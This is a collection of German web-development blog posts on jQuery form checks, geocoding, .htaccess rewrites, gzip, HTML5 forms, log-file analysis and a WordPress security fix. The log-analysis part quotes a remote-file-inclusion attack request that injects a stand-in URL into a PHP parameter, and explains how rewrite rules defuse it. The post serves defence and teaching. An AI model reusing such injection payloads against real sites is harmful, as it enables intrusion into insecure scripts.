So sieht das aus:

/**
 * Stop empty searches
 *
 * @author Thomas Scholz http://toscho.de
 * @param  $ jQuery object
 * @return bool|object
 */
(function( $ ) {
    $.fn.preventEmptySubmit = function( options ) {
        var settings = {
            inputselector: "#s",
            msg          : "Wenn Sie nach nichts suchen, werden Sie nichts finden."
        };

        if ( options ) {
            $.extend( settings, options );
        };

        this.submit( function() {
            var s = $( this ).find( settings.inputselector );
            if ( ! s.val() ) {
                alert( settings.msg );
                s.focus();
                return false;
            }
            return true;
        });
        return this;
    };
})( jQuery );

Die Funktion preventEmptySubmit() wird an ein jQuery-Objekt gebunden; sie kann die Parameter inputselector und msg empfangen.

Hat das Formular also die id searchform und das Eingabefeld die id s, so bindet man die Kontrolle so ein:

jQuery( "#searchform" ).preventEmptySubmit();

Will man die Nachricht ändern, übergibt man einfach einen anderen Wert für msg:

jQuery( "#searchform" ).preventEmptySubmit({ "msg": "Nichts geht nicht!" });

Das sieht dann so aus:

Ich verstehe von Javascript nicht viel. Jeder Hinweis oder Vorschlag ist mir willkommen.

Weitere Artikel mit loser Verwandschaft

• jQuery: Interne Sprungziele anbieten
• Suchformular in HTML5
• Evidentes Design
• Safari in CSS und Javascript ansprechen

Nichts gefunden

Hierzu habe ich ebenso viele Adressen zur Hand, die ich einfach der API übergeben könnte, auf daß Google selbst die passende Position finde. Problem: Wenn nichts gefunden wird, erfahre ich das im Script nicht, sondern erst beim Ansehen des Bildes.

Da gebe ich doch lieber kein Bild aus.

Also muß ich erst prüfen, ob Google einen Ort auf der Karte finden kann, indem ich die Ortsangabe in Breiten- und Längengrade (Latitude und Longitude) umwandeln lasse. Danke an Fabian Beiner für den Tipp dazu. Meine Googlekompetenz schien gestern so eingebrochen zu sein, daß ich das nicht selbst herausfinden konnte …

/**
 * Gets the coordinates (latitude and longitude) for a place.
 * Keeps the image URI short.
 * Thanks to Fabian Beiner - http://fabian-beiner.de/ - for the tip.
 *
 * @param  string $place
 * @return string|bool
 */
function coords_by_name($place)
{
    $place   = urlencode($place);
    $url     = "http://maps.google.com/maps/geo?output=xml&q=$place";

    $content = file_get_contents($url);

    // Kein Ergebnis
    if ( FALSE == strpos($content, 'Placemark') )
    {
        return FALSE;
    }

    $xml     = new SimpleXMLElement($content);

    return $xml->Response->Placemark->Point->coordinates[0];
}

Das Ergebnis sieht im Erfolgsfall so aus: "11.9658140,51.4821660,0".

Für die statische Karte brauchen wir die letzte Angabe – ,0 – nicht; obendrein akzeptiert die API nur Angaben mit einer Genauigkeit von sechs Dezimalstellen, nicht sieben. Und wir brauchen die beiden Angaben in umgekehrter Reihenfolge für den Mittelpunkt der Karte. Da hat wohl jemand lange nachgedacht und dann Mist gebaut …

Deshalb habe ich mir einen kleinen Helfer geschrieben:

/**
 * Fixes latitude longitude coordinates.
 *
 * @param  string $s
 * @return bool
 */
function fix_coords($s)
{
    $found = (bool) preg_match(
        "~^(-?\d{1,2}\.\d{0,6})\d?,(-?\d{1,2}\.\d{0,6})\d?~",
        $s, $match
    );

    if ( ! $found )
    {
        return FALSE;
    }

    return $match[2] . ',' . $match[1];
}

Das gibt uns "11.965814,51.482166" aus, und damit können wir eine vernünftige Karte bauen.

Aber Achtung: Die Positionen der Marker muß man in umgekehrter Reihenfolge angeben!

Den aktuellen Zwischenstand habe ich eben mal auf GitHub hochgeladen: class.Google_Static_Map. Der Code wurde mir dann doch ein bißchen zu lang für einen Blogbeitrag. Dort gibt es auch einen Bugtracker für eure Hinweise oder Vorschläge, und wer Code beitragen oder einen Fork anlegen möchte, ist dazu herzlich eingeladen.

WordPress erlaubt ja sehr flexible Permalinks. Dazu schreibt man sich dieses in die .htaccess:

<IfModule mod_rewrite.c>
    RewriteEngine On
    RewriteBase /
    RewriteCond %{REQUEST_FILENAME} !-f
    RewriteCond %{REQUEST_FILENAME} !-d
    RewriteRule . /index.php [L]
</IfModule>

Allerdings finde ich diese Regeln noch zu großzügig; sie verhindern nicht folgende Probleme:

• Archive können um die Kette 00/ ergänzt werden.
  http://example.com/2009/00/ liefert ganz normalen Inhalt aus; http://example.com/0/ ebenso.
• Manch externe Software »veredelt« gesetzte Links gerne um Trackingparameter in der Annahme, jeder verwende Google-Analytics.
  Twitterlinks beispielsweise bekommen ungefragt den Querystring ?utm_source=twitterfeed&utm_medium=twitter angehängt, und FeedBurner klebt ein ?utm_source=feedburner&utm_medium=feed&utm_campaign=Feed:+wdrss+(WDRSS) an. Das nimmt WordPress einfach so hin.
• Und dann gibt es noch die Spinner, die in den Parameter p, der eigentlich nur numerische Werte empfängt, etwas ganz anderes hineinpacken, eine URL etwa. Auch hier reagiert WordPress nicht.
• Schließlich generiert WordPress für Archive, die geblättert werden, URLs in der Form /2009/page/3/.
  /2009/page/1/ liefert leider denselben Inhalt wie /2009/, und wenn jemand eine Ebene hochklettert (dafür habe ich eine Mausgeste), dann wirft /2009/page/ nur eine wenig hilfreiche Fehlermeldung aus.

Mehrere Adressen für eine Ressource wollen wir nicht. Und 404-Meldungen sind für kaputte Crawler, nicht für richtige, wertvolle Besucher.

Wir werfen also den ursprünglichen WordPress-Eintrag raus und ersetzen ihn durch diesen:

<LimitExcept HEAD GET POST>
    order deny,allow
    deny from all
</LimitExcept>

RewriteEngine On
RewriteBase /

# Catch obstrusive tracking parameters like ...
# ?utm_source=twitterfeed&utm_medium=twitter or
# ?utm_source=feedburner&utm_medium=feed&utm_campaign=Feed:+wdrss+(WDRSS)
# ... because they generate doubled content.
RewriteCond %{QUERY_STRING} utm_source= [NC,OR]
# Some people put their own URIs into this parameter. May be better banned.
RewriteCond %{QUERY_STRING} ^p=\D
# The question mark removes the query string.
RewriteRule (.*) /$1? [L,R=301]

# WordPress allows URLs like /2010/0/ or /00/ == doubled content
RewriteRule (^0+|(.*)/0+)/$ /$2 [L,R=301]

# WordPress: paged content creates a /page/
RewriteRule (^p|(.*)/p)age/(1/)?$ /$2 [L,R=301]

# Fix double slashes redirect /a///b to /a/b
# http://toscho.de/2009/wordpress-2-8-3-das-doppelslash-problem/
RewriteCond %{THE_REQUEST} ^[A-Z]+\ /(([^/\ ]+/)*)/+([^\ ]*)
RewriteRule ^ /%1%3 [L,R=301]

# Images, Stylesheets etc.
RewriteCond %{REQUEST_URI} !.+\.\w{2,4}$
# Existing file
RewriteCond %{REQUEST_FILENAME} !-f
# Existing directory
RewriteCond %{REQUEST_FILENAME} !-d
# Symbolic link
RewriteCond %{REQUEST_FILENAME} !-l
RewriteRule ^ index.php [L]

Mein Dank geht an Francesco Schwarz (@isellsoap) für seine ausführlichen Tests.

Gzip (GNU zip) komprimiert Textdateien sehr effizient. Das Format wird nicht durch Patente belastet, und die meisten Browser und Crawler können damit umgehen. Die meisten, nicht alle.

Wir können die komprimierte Variante einer Ressource nicht auf gut Glück verschicken, sondern nur, wenn der Empfänger dies bekannt gibt:

Request-Header:

Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0

Das heißt: Wir müssen Content-Negotiation betreiben, über den Inhalt also mit dem Empfänger verhandeln – und eine unkomprimierte Variante vorhalten.

Spannend finde ich die Erkenntnisse, die Arvind Jain und Jason Glasgow zusammengefaßt haben: Anti-Virus-Software, Browser-Bugs, Webproxys und fehlkonfigurierte Webserver verhindern oft die Kompression.

Nehmen wir einmal an, Browser 1 verstehe gzip, Browser 2 nicht. Beide erreichen unsere Website über den selben Proxyserver. Browser 1 holt sich die gzip-Variante, der Proxy speichert diese und schickt sie später Browser 2. Obwohl der mit gzip nichts anzufangen weiß. Nicht so gut.

Also senden wir das Dokument mit einem Response-Header zurück, der den Proxy darüber informiert, wann er die Seite an einen anderen Browser ausliefern darf: Wenn der das gleiche Accept-Encoding vorlegt.

Response-Header:

Vary: Accept-Encoding

Der Vary-Header wurde erst in HTTP/1.1 eingeführt – also bekommen alle Anfragen, die per HTTP/1.0 einschlagen, immer die unkomprimierte Variante.

Jetzt kann der Internet Explorer (zumindest bis Version 6) die unkomprimierte Ressource überhaupt nicht mehr im Cache behalten, und die komprimierte landet auf jeden Fall darin. »Abhilfe« schafft ein weiterer

Response-Header:

Cache-Control: private

Und jetzt kann der Proxy die Ressource nicht mehr speichern.

Um das Thema »Internet Explorer« schnell hinter uns zu bringen, seien noch zwei Bugs erwähnt:

• Wenn ein XHTML-Dokument komprimiert und mit XML-Deklaration verschickt wird und überdies sehr lange oder viele Response-Header (Cookies beispielsweise) vorausgehen, dann versucht der Internet Explorer 6 in einigen Versionen, den MIME-Typen zu erraten. Er kommt dann zu dem Schluß, er habe XML vor der Nase – und scheitert kläglich.
• Wenn ein komprimiertes Dokument per SSL (HTTPS) angeboten wird, kann es auch passieren, daß der Leser gar nichts sieht.

Inzwischen hat sich die Situation jedoch gebessert.

Zu den Problemen beim Transfer und beim Caching stellt sich noch die Frage: Lohnt es sich?
Das Ein- und Auspacken kostet ja auch Zeit. Gerade bei Dokumenten, die erst bei Abruf komprimiert werden, müssen wir Faktoren berücksichtigen, die eventuell den Zeitgewinn ausstechen: die Serverlast und die Verarbeitungsdauer auf dem Server und beim Client.
Ein 3-kB-Dokument zu komprimieren, bringt überhaupt nichts. Bei 5 kB wird es langsam interessant, und ab 10 kB spürt der Leser den Unterschied.

Wir sollten beide Varianten statisch vorhalten, damit der Server nicht immer wieder dieselbe Arbeit erledigen muß. Hier fällt natürlich noch ein gewisser Koordinationsaufwand an.

Wann also komprimieren?

• Wenn die Ressource nicht unbedingt im Cache landen soll und/oder
• 5 kB überschreitet und
• der Server genug Kapazität dafür übrig hat oder beide Varianten fertig vorliegen.

Und wann nicht?

• Wenn die Ressource unbedingt in den Cache gelangen soll (Stylesheets in einem Webforum) und noch viele IE-6-Nutzer daherkommen oder
• der Server unter hoher Last steht oder
• das generierende Skript schon lange genug arbeitet.

Diese Hinweise bitte ich als grobe Richtlinien zu verstehen. Je nach Kontext können sie auch sehr danebenliegen. Per @font-face eingebettete Schriften will man ganz gewiß komprimieren – aber nur einmal verschicken. Hier lohnt sich ein Blick ins Logfile: Welche Browser benutzen meine Leser? Und dann trifft man eine informierte Entscheidung.

Ein großer Teil der HTML5-Spezifikation sieht aus, als werde bislang ungenormtes Browserverhalten schlicht dokumentiert. Aber der HTML-3.2-Geruch verfliegt, sobald wir unser Auge auf Formulare richten.

Mein Suchformular habe ich endlich ganz und gar auf die neuen Verhältnisse umgestellt.

Beispiel

<form
  method="GET"
  id="searchform"
  accept-charset="utf-8"
  action="/"
>
  <div>
    <input
      title="Suche"
      type="search"
      value="<?php the_search_query(); ?>"
      name="s"
      id="s"
      pattern=".+"
      required
    > 
    <input
      type="submit"
      id="searchsubmit"
      value="Suche"
    >
  </div>
</form>

Markup

Na, um das herauszufinden, braucht niemand einen Artikel. Ich möchte aber gerne meine Gründe mit euch diskutieren.

Auf das Element label verzichte ich. Das Eingabefeld hat ein title-Attribut, und der Button gleich danach trägt einen unmißverständlichen Text. Damit kommt auch der Nutzer eines Screenreaders gut zurecht.

Das Attribut accept-charset fungiert als redundante Sicherheitsleine. Ich gebe die Zeichenkodierung im HTTP-Header schon an, und im meta-Element steht sie auch.

Interessant wird endlich der Wert des Attributes type im ersten input-Element: search wurde von Apple durch die Hintertür in HTML5 eingeschmuggelt, sieht jetzt aber doch recht vernünftig aus.

Suchfeld in Safari 3

Das hat sich aber mit einigen Formatierungen gebissen, die hier und da auftauchten (insbesondere border, outline und background), und inzwischen beschränkt sich zumindest die Windowsversion auf eine Lupe und einen Pfeil.

Suchfeld in Safari 4

Browser, die diesen Attributwert nicht kennen, unterstellen automatisch type="text".

Wenn jemand schon etwas gesucht hat, dann steht der Suchbegriff natürlich im Feld, damit derjenige seine Anfrage bei Bedarf verbessern kann.

Sonst steht nichts darin. Kein Fülltext. An diesem Punkt laufen viele Gestalter leicht in eine Falle: Vor vielen, vielen Jahren gab es ein paar Screenreader, die Eingabefelder nur dann erkannten, wenn Text darin stand. Die haben sich verständlicherweise nicht lange gehalten. Deutlich länger freilich blieb die Idee, so ein Text sei hilfreich.

Der Text muß automatisch verschwinden, wenn man den Fokus ins Feld legt – sonst zwingt man den Besucher zu umständlichen Löscharbeiten. Also darf er nur per Javascript eingefügt werden, denn nur so funktioniert das automatische Löschen. Wer ohne Javascript auf die Seite kommt, hätte andernfalls ja doch die Löscherei von Hand zu erledigen.

Die Funktion des Feldes muß also schon ohne Javascript klar erkennbar sein. Ist das nicht der Fall, muß man das Formular entsprechend reparieren.

Wenn also ohne Javascript schon alles klar ist, brauchen wir auch den Fülltext nicht. Ich habe noch keine Seite gesehen, auf der dieser Text irgendeinen erkennbaren Mehrwert gebracht hat.

Das Attribut pattern beschreibt mit einem regulären Ausdruck, welche Zeichen erwartet werden. Hier möchte ich mindestens eines, denn sonst vergeudet der Leser nur seine Zeit.
Dieses Attribut ist im Grunde redundant, denn das nächste – required – verlangt auch mindestens ein Zeichen. Ich habe beide eingebaut, um denjenigen zu helfen, deren Browser nur eins erkennt.

Diese Attribute erzwingen eine clientseitige Validierung der Eingabe auch dann, wenn der Leser Javascript ausgeschaltet hat.

Der Absendebutton hat kein Attribut name. So wird dessen Wert auch nicht übertragen, und die URL für die Suche bleibt hübsch übersichtlich.

Javascript

Das Suchformular habe ich mit einer kleinen Funktion aufgepeppt:

function addEvent(target, eventType, functionRef, capture) {
    if (typeof target.addEventListener != "undefined") {
        target.addEventListener(eventType, functionRef, capture);
    } else if (typeof target.attachEvent != "undefined") {
        target.attachEvent("on" + eventType, functionRef);
    } else {
        eventType = "on" + eventType;
        if (typeof target[eventType] == "function") {
            var oldListener = target[eventType];
            target[eventType] = function() {
                oldListener();
                return functionRef();
            };
        } else {
            target[eventType] = functionRef;
        }
    }
}
function checkSearch() {
    var sform           = document.getElementById("searchform");
    var s               = document.getElementById('s');
    s.setAttribute('autosave', 'toscho.de');
    s.setAttribute('results', '15');
    var submit          = document.getElementById('searchsubmit');
    sform.onsubmit = function() {
        if ( '' == this.s.value ) {
            alert('Wenn Sie nach nichts suchen, werden Sie nichts finden.');
            s.focus();
            return false;
        }
        return true;
    };
}
addEvent(window, 'load', checkSearch);

Die erste Funktion addEvent() habe ich aus dem Javascript-Buch von SitePoint. Den Rest habe ich mir selbst zusammengeschustert. Ihr seht bestimmt, was ich alles besser machen kann.

Hier werden zunächst diese beiden Zeilen relevant:

s.setAttribute('autosave', 'toscho.de');
s.setAttribute('results', '15');

Die helfen den Nutzern webkit-basierter Browser wie Safari oder Google Chrome. Sie sagen: Merke dir automatisch die letzten 15 Einträge, und ordne sie der Domain toscho.de zu. Im Screenshot aus Safari 3 oben sieht man solch einen gespeicherten Ausdruck.
Das ist praktisch bei langen Worten oder solchen, die man leicht falsch schreibt. Noch praktischer wäre eine Methode, die Suchausdrücke ohne Treffer aus der Liste heraushalten könnte. Soweit ich weiß, gibt es die noch nicht. Korrigiert mich bitte!

Kurz darauf kommt noch eine kleine Kontrolle auf leere Einsendungen. Nicht jeder benutzt schließlich einen modernen Browser, der die neuen Attribute schon unterstützt.

Links

• HTML5: Formulare
• Anne van Kesteren: Improve your forms using HTML5!
• Dave Hyatt: [Introducing] The Search Field (in Webkit)

Mindestens einmal pro Monat grabe ich mich durch die Logfiles jeder von mir betreuten Website. Ein Statistikprogramm wie Piwik sieht zwar deutlich hübscher aus; es erfaßt aber nur einen kleinen Teil der Zugriffe. Anfragen an Newsfeeds, Stylesheets, Bilder und Skripte entgehen ihm meistens.

Grundlagen

Ein gewöhnlicher Eintrag im Accesslog sieht (nach manuellem Umbruch) so aus:

msnbot-65-55-106-204.search.msn.com
- -
[01/Jan/2010:01:03:10 +0100]
"GET /2009/ HTTP/1.1"
200
4303
"-"
"msnbot/2.0b (+http://search.msn.com/msnbot.htm)"

Logformat

Das entspricht dem Logformat:

%h %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i\"

… und kann übersetzt werden als

Hostname oder IP-Adresse

Wenn der Server keinen Hostnamen findet oder anders konfiguriert worden ist, steht an erster Stelle die IP-Adresse. Ob man die nach deutschem Recht speichern darf, wird immer noch heftig umstritten.

Remote logname

Der Remote logname wird nur befüllt, wenn mod_ident aktiviert wurde und IdentityCheck auf On steht.

Remote user

Der Remote user wird befüllt, wenn man sich per Basic Authentication angemeldet hat.

Die beiden letztgenannten Einträge müssen natürlich auch als »personenbezogene Daten« gelten. Eine (zumindest langfristige) Speicherung dürfte sehr heikel werden.

Request

Der Request wird endlich richtig interessant.

Methode

Vorne steht die Methode: GET, POST oder HEAD. Die anderen Methoden verbiete ich normalerweise:

<LimitExcept HEAD GET POST>
order deny,allow
deny from all
</LimitExcept>

Adresse

Dann folgt die angesprochene Adresse, hier /2009/. Darauf kommen wir gleich nochmal.

Protokoll

Und darauf wiederum folgt das Protokoll, hier HTTP/1.1. Das ist spannender, als es aussieht: In HTTP/1.0 gibt es nämlich keine Vary-Header. Den brauche ich aber für alle Ressourcen, die ich per gzip komprimiere, damit der Empfänger weiß, daß ich mindestens zwei Varianten vorhalte: die komprimierte und die unkomprimierte.
Ich sende also bei HTTP/1.1 den Header:

Vary: Accept-Encoding

Sehen wir uns den Request an, der dem hier genannten fünf Sekunden später folgt:

msnbot-65-55-106-204.search.msn.com
- -
[01/Jan/2010:01:03:15 +0100]
"GET /2009/ HTTP/1.0"
200
18124
"-"
"msnbot/2.0b (+http://search.msn.com/msnbot.htm)"

Der MSN-Bot holt sich auch die nicht komprimierte Variante. Warum? Weiß der Geier …
Der Internet Explorer benutzt HTTP/1.0, wenn er hinter einem Proxyserver sitzt. Vielleicht will der MSN-Bot herausfinden, ob er die Seite auch dann noch als Suchergebnis präsentieren darf.

Der Yahoo-Bot kann übrigens überhaupt kein HTTP/1.1. Es ist ja auch erst vom Juni 1999.

Statuscode

Nach dem Request kommt der Statuscode. Die wichtigsten:

Größe

Dem Statuscode folgt die Menge der übertragenen Bytes ohne Response-Header. Wie man an den beiden MSN-Beispielen sieht, besteht zwischen komprimierten und nicht komprimierten Ressourcen ein erheblicher Unterschied.
Beim Statuscode 304 sollte die Menge 0 betragen, sonst hat etwas nicht geklappt.
Und eine Ressource sollte möglichst immer dieselbe Menge ausliefern, wenn sie sich nicht geändert hat. Der WordPress-Feed erfüllt diese Bedingung leider nicht immer; das wollte ich schon längst mal untersuchen …

Referer

Der nächste Eintrag (beim MSN-Bot immer leer) ist der Referer. Eigentlich heißt das englische Wort ja Referrer, aber vor vielen Jahren hat sich mal jemand beim Schreiben der Spezifikation vertippt, und seitdem fehlt das eine »r«. Da sieht man wieder, warum Korrekturlesen so wichtig ist.

Normalerweise steht im Referer die URI, von der aus auf die aktuelle Ressource zugegriffen wurde. Oft ist er aber auch leer, oder es steht Spam darin (sogenannter »Referer-Spam«). Manchmal auch feindlicher Code. Deshalb sollte dieser Wert nie ungeprüft in Skripten verwendet werden, und für eine Linkliste ohne Vorkontrolle eignet er sich ebenfalls nicht.

Beim Statuscode 404 kann er uns zuweilen verraten, ob jemand einen kaputten Link gesetzt hat. Da ist der Wert tatsächlich hilfreich.

User-Agent

Hier gelten die gleichen Sicherheitsregeln wie beim Referer. Ich benutze das Feld vorrangig, um Störenfriede loszuwerden. Generell ist es so glaubwürdig wie ein 3-Euro-Schein.

Suchmuster

Wonach suchen wir eigentlich? Nach allem, was ungewöhnlich oder ungewollt aussieht.

Ungewollt sind Fehler: Alle Anfragen, die mit einem 400er oder gar 500er Code beantwortet wurden, verdienen unsere erste Aufmerksamkeit.

400er

In einem Texteditor unserer Wahl suchen wir nach dem regulären Ausdruck " 4\d\d (ein Leerzeichen rechts). Damit finden wir alle 400er Statuscodes.

Die meisten angeforderten Adressen in dieser Zeile enthalten Parameter, über die jemand fremden Code einschleusen möchte:

web.weborange.hu
- -
[01/Jan/2010:01:32:51 +0100]
"GET /2009/authentifizierung-php-utf-8/%252520%252520/?_SERVER%255bDOCUMENT_ROOT%255d=http:/example.com/member/one.txt%253f%253f%253f HTTP/1.1"
404
995
"-"
"Mozilla/5.0"

Hier sieht man zweierlei: Der Angriff richtet sich gegen schlampig programmierte PHP-Skripte, und mein Doppelslashkiller hat die einzuschleusende URL entschärft. Selbst wenn ich also ein unsicheres Skript vorhielte, brächte der Angriff nichts, weil http:/example.com keine URL ist, mit der PHP oder eine andere Sprache etwas anfangen kann.
Ein paar Einträge über diesem steht der ursprüngliche Versuch mit den Doppelslashes und dem Statuscode 301. Den hat aber die .htaccess abgefangen und umgeleitet, ehe ihn auch nur ein Skript zu Gesicht bekommen konnte.

Ein weiterer Eintrag sieht so aus:

static.[anonymisiert].clients.your-server.de
- -
[01/Jan/2010:16:49:56 +0100]
"GET /p1563/ HTTP/1.1"
404
995
"-"
"Mozilla/5.0 (compatible; Rivva; http://rivva.de)"

Ich hatte ein paar Minuten zuvor bei Twitter einen ähnlichen Link gepostet:

Willkommen im alten Jahrzehnt: http://toscho.de/p1563 #gebloggt

Ähnlich! Der Rivva-Bot hat einen Slash angebaut und dann die falsche Adresse aufgerufen. Spannend wird jetzt die weitere Suche nach dem Rivva-Bot im Logfile: Kommt er nochmal, um die korrekte Adresse zu holen? Nein, tut er nicht.

So etwas verrät mir kein Statistikprogramm.

Ich habe darauf doppelt reagiert: Ich habe Rivva per Twitter Bescheid gegeben – und zwar keine Antwort bekommen, aber der Tweet wurde immerhin »gefavt«. Das ist vermutlich eine sehr subtile Methode, mir zu sagen: »Wir wissen jetzt davon und kümmern uns darum.«
Außerdem habe ich in die .htaccess eine Weiterleitung für genau diese und ähnlich kaputte Anfragen eingebaut:

RewriteEngine On
RewriteBase /
RewriteCond %{REQUEST_URI} ^/\%3fp\=(\d+)$ [OR]
RewriteCond %{REQUEST_URI} ^/p\=?(\d+)/?$
RewriteRule ^.* http://toscho.de/?p=%1 [L,R=301]

Und dann gibt es manchmal noch die 404er, die nicht wie Angriffe aussehen und unsere eigene Domain im Referer zeigen. Da haben wir vielleicht einen falschen Link gesetzt oder einen Fehler im Markup oder im Stylesheet. Logische Reaktion: Reparatur, Kontrolle, ein Schluck Kaffee.

500er

Regex: " 5\d\d (ein Leerzeichen rechts).

Wenn der Server aufgrund eines Fehlers in der .htaccess nicht mitspielt, sehen wir das sofort. Dazu reicht ein vergeblicher Aufruf der Website.

Anders sieht es mit gelegentlichen Ausfällen aus: Ein Skript mag unter ganz bestimmten Umständen PHP abstürzen lassen, oder der Server aus irgendeinem Grund manchmal überlastet sein. Wer sich einen Server mit anderen Websites teilt (Shared Hosting), kann davon auch betroffen werden, ohne die Ursache in die Hand zu bekommen.
Hierfür müssen wir ein zweites Logfile ansehen: Das Errorlog. Das ist so ähnlich aufgebaut wie das Accesslog, und darin steht, was genau passiert ist. Zumindest der Webhoster hat eins.

Massenabfragen

Manchmal sieht die einzelne Abfrage technisch ganz korrekt aus, aber der Blick aufs Ganze löst dann doch einen Würgereiz aus. So hatte ich unzählige Requests von einem Java/1.6.0_11 (die letzten Zahlen variieren). Diese Crawler haben gerne alle Feeds für alle Artikel und Kategorien abgeholt – 20 Mal pro Stunde.
Antwort:

RewriteEngine On
RewriteBase /
RewriteCond %{REQUEST_URI} !/greedy\.html
RewriteCond %{HTTP_USER_AGENT} ^Java/1\.\d [NC]
RewriteRule ^ /greedy.html [L,R=301]

Ebenfalls bedrückend aber derzeit nicht zu ändern: Kaum ein Crawler hält sich an die Vorgaben zur Aktualisierung des Newsfeeds. Wer freilich zu gierig wird, wird hinweggebeten. Man muß sich ja nicht alles gefallen lassen, und das Ziel sollte doch eine schnelle Website für richtige Besucher bleiben. Deshalb verteile ich meine begrenzten Ressourcen lieber effizient.

Einige Feed-Crawler verraten im User-Agent, wieviele Leute den Feed lesen:

38.99.68.203
- -
[01/Jan/2010:19:45:18 +0100]
"GET /feed/ HTTP/1.1"
200
16543
"-"
"Mozilla/5.0 (compatible; FriendFeedBot/0.1; +Http://friendfeed.com/about/bot; 16 subscribers; feed-id=3418198305143441017)"

Das finde ich sehr freundlich. Logfiles können also auch Spaß machen.

Der Preis besteht aus mehr Fehlern. Das ist unvermeidlich, und es erstaunt auch niemanden, der selbst schon einmal programmiert hat.

WordPress 2.8.3 stopft eine Sicherheitslücke, die seit Freitag bekannt ist: Einfache registrierte Nutzer konnten durch leicht geänderte URLs administrative Rechte ausüben.

Ich hatte zwar schnell eine Fix parat, aber das Team von WordPress Deutschland (WPD) hat mich gebeten, ihn nicht zu publizieren, weil man daraus die Lücke ableiten konnte.
Dieses Verfahren, Problem und Lösung geheimzuhalten, heißt Security by Obscurity. Ich mag es nicht.
Aber bitte … ich kann mein Geltungsbedürfnis gut genug im Zaum halten, um hier nachzugeben.

Dennoch stört mich das Prozedere. Ein Cracker hätte sich die unzensierte Fassung des ersten Reporters leicht aus dem Google-Cache holen können. Und der Administrator eines WordPress-Blogs? Der mußte diesen praktisch unzumutbaren Rat schlucken:

Bis es einen Bugfix für das Problem gibt, raten wir dringend die Benutzerregistrierung zu deaktivieren und ggf. alle (unbekannten) registrierten Benutzer zu löschen, sofern dies vertretbar ist.

Ich habe bei Twitter meinen Bugfix angeboten, und darauf haben sich einige Leute gemeldet – mit Webseiten, deren ganze Funktionsweise vom Engagement registrierter Benutzer abhing. Da sie nicht wußten, wie schnell die nächste Version kommen würde, waren sie verständlicherweise wenig begeistert.

Ich habe mich damit nicht wohl gefühlt, weil ich indirekt auch ein Akteur dieser … Geheimniskrämerei geworden bin.

Wer ein WordPress-Blog verwaltet und nicht die Zeit hat, jeden Tag ins Forum oder ins Blog zu sehen – der hat doch sicher den Feed des WPD-Blogs abonniert. Darüber hätte man leicht die Reparatur verbreiten können – oder sollen.

Ach ja, dieser Schnipsel kommt in die functions.php des Themes:

new Single_Slash;

class Single_Slash
{
    function Single_Slash() // PHP 4. Wer das noch erleidet...
    {
        if ( !strstr($_SERVER['REQUEST_URI'], '//') )
        {
            return;
        }

        header('Location: '
            . ( empty ( $_SERVER['HTTPS'] ) ? 'http' : 'https' )
            . '://'. $_SERVER['HTTP_HOST']
            . preg_replace('~/+~', '/', $_SERVER['REQUEST_URI']), TRUE, 301);
        die();
    }
}

Download als WordPress-Plugin.

Das ist alles. Wenn man einen Doppelslash eingibt, wird man auf eine URL umgeleitet, die eine Kette beliebig vieler Slashes durch genau einen ersetzt.

In WordPress 2.8.3 lenkt einen das Backend jetzt zum Login, wenn man so eine URL eingibt.

Im Frontend bleibt der Mehrfachslash stehen. Probiert es im eigenen Blog: Verdoppelt in einer URL einen Slash, und staunt über die neue URL dieser Seite. Dem Gebot kanonischer Adressen entspricht das nicht gerade.

Wie relevant ist das? Ein Beispiel: Ihr habt ein Blog, das jemand gerne aus seiner guten Position bei Google verdrängen möchte. Er bastelt sich ein Netz kostenloser Weblogs und verfaßt Beiträge, die auf die »alternativen« Adressen der Seiten zeigen, die bei euch am höchsten bewertet werden. Dann wartet er, bis Google erst seine Beiträge indiziert und dann eure »neuen« Seiten. Plötzlich habt ihr eine Menge doppelten Inhalt. Lustig, oder?

Ein kleiner Test im Serendipity-Blog zeigt übrigens, daß nicht nur WordPress daran krankt. ☻

Dem kann man zwar mit der Angabe der kanonischen URL im Markup begegnen, aber das kommt eigentlich zu spät: Ein menschlicher Besucher erfährt davon nichts; er wird eventuell die falsche URL in seinen Lesezeichen verwenden, oder in Links zu eurer Seite. Adressierungsprobleme sollten nicht im Markup gelöst werden, sondern auf der Protokollebene, in HTTP also.

Deshalb bleibt dieser Schnipsel in meinem Theme.

Noch ein Bugfix hat es in dieses Release geschafft, über den sich bestimmt jeder freut: Die URL eines Kommentators verschwindet jetzt nicht mehr, wenn man dessen Text bearbeitet.

Dafür müssen noch 48 Bugs, deren Reparatur für diese Version geplant war, auf die nächste warten. So sei es.

Zieht das Update. Es läuft problemlos (zumindest wenn man es per FTP durchführt) und ist auch schon auf Deutsch zu haben.

Immerhin wurde das Loch gestopft, wenngleich der Bug noch zuckt.

Update 04.08.09

Markus Wulftange hat eine Lösung gefunden, die per .htaccess und mod_rewrite funktioniert:

RewriteEngine On
RewriteBase /
RewriteCond %{THE_REQUEST} ^[A-Z]+\ /(([^/\ ]+/)*)/+([^\ ]*)
RewriteRule ^ /%1%3 [L,R=301]

Das ist deutlich besser als meine PHP-Variante.

Mehr Lektüre zum Thema

• .htaccess: Angriffe sehen und blockieren
• Ungebetene Gäste mit .htaccess blocken
• Website gehackt – und nun?

Hier möchte ich nun die Gründe für meine Konstruktion der Permalinks diskutieren. Ich orientiere mich am Blog-System WordPress; die Hinweise gelten aber überwiegend auch für andere Systeme und rein statische Seiten.

Faustregel: Eine gute Adresse kann ich ohne Buchstabieren am Telefon weitergeben.

Bedingungen

• Suchmaschinen berücksichtigen die einzelnen Bestandteile einer URL, wenn sie mit einem Suchwort übereinstimmen – Google allerdings nur bis zum achten Trennzeichen.
• Jemand verschickt die URL vielleicht per E-Mail, oder er schreibt sie ins Usenet. Hier bricht sie oft um, wenn sie sehr lang ist. Mehr als 72 Zeichen führen fast sicher zum Umbruch. Dann klickt ein Leser auf das erste Bruchstück und landet auf einer Fehlerseite. Autsch!
• Der erste Blick auf eine URL sollte dem Leser schon etwas sagen: Wer hat wo und wann worüber geschrieben?
• Wenn jemand die URL schrittweise bis zum nächsten / kürzt (englisch: URL butchering), also von http://example.com/2008/hallo-welt/ nach http://example.com/2008/ geht, dann sollte er immer einen neuen und sinnvollen Inhalt finden. Keine Tagesarchive mit nur einem Eintrag also und erst recht keine Fehlerseite.
• Und schließlich sollte die Struktur das eigene CMS nicht ausbremsen. WordPress beispielsweise wird langsam, wenn die Basis mit %category%, %tag%, %author% oder %postname% beginnt.

Lösung

Die beste Linkstruktur sieht für mich so aus:

• Domainname ohne www. Das gibt uns hinten ein Suchwort mehr bei Google; außerdem ist die Subdomain www fast immer technisch überflüssig.
